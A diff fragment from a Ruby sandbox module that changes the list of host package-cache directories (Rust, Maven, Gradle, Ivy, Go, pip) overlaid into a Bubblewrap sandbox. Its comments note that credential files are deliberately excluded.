- # discipline as {.readable}: a missing +~/.gradle/caches+
108
- # stays out of the list, on the assumption the user doesn't
109
- # use Gradle yet (and Gradle's eventual bootstrap inside the
110
- # sandbox without a host lower would fail noisily, which is
111
- # what we want — see the rationale in
112
- # {Pikuri::Code::Bash::Sandbox::Bubblewrap}). See the module
113
- # header for why each entry is a content-only subdir rather
114
- # than the whole toolchain dir.
115
- def self.ephemeral_overlay
116
- home = Dir.home
117
- candidates = [
64
+ File.join(home, '.rustup'),
65
+ # Content-only cache subdirs — credential / persistence files
66
+ # deliberately excluded (see module header).
118
67
  File.join(home, '.cargo/registry'),
119
68
  File.join(home, '.m2/repository'),
120
- # Gradle: caches/ (jar + journal + transforms + build-cache),
121
- # wrapper/dists/ (downloaded distributions), jdks/ (toolchain
122
- # auto-installs). gradle.properties / init.d / enterprise /
123
- # daemon are deliberately NOT exposed.
124
69
  File.join(home, '.gradle/caches'),
125
70
  File.join(home, '.gradle/wrapper/dists'),
126
71
  File.join(home, '.gradle/jdks'),
127
- # Ivy: cache only. ~/.ivy2/.credentials is deliberately NOT exposed.
128
72
  File.join(home, '.ivy2/cache'),
129
73
  File.join(home, 'go/pkg/mod'),
130
74
  File.join(home, '.cache/pip'),